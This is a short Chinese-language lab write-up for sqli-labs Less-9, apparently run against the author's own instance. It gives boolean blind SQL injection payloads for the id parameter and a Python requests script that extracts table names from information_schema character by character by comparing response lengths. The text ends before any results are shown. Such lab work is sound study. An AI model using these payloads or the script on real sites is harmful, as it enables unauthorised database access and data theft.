Less-9

判断sql注入的位置和回显的参数

 

 

 

• 回显界面没有改变，证明sql语句错误不会回显

• 或者没有sql注入漏洞

python 写脚本请求看返回

import requests
url= "https://sql.alienwares.top/Less-9/?id=1' and 1=1 %23"
res=requests.get(url)
print(len(res.content))
​

• 发现正确的回显长度是707

• 错误的回显是744

sql 语句

?id=1' and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))='e' %23
#如果在中间出现阔号返回值会是695
​
?id=1' and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),0,1) )=','%23
?id=1' and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))='e' %23"

python 脚本开始盲注入

# 707 r
# 744 e
​
import requests
import time
#706
for i in range(0,100):
    url = "https://sql.alienwares.top/Less-9/?id=1' and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database())," + str(i) + ",1) )=','%23"
    res = requests.get(url)
    time.sleep(1)
    if (len(res.content) == 707):
        print(",",end="")
        continue
    for e in range(ord("a"), ord("z") + 1):
        url="https://sql.alienwares.top/Less-9/?id=1' and (select mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(i)+",1) )='"+chr(e)+"'%23"
        res=requests.get(url)
        time.sleep(1)
        if (len(res.content) == 707):
            print(chr(e), end="")
            break
​
​
​
​

运行结果

 

休眠的时间可以适当加长，因为我的速度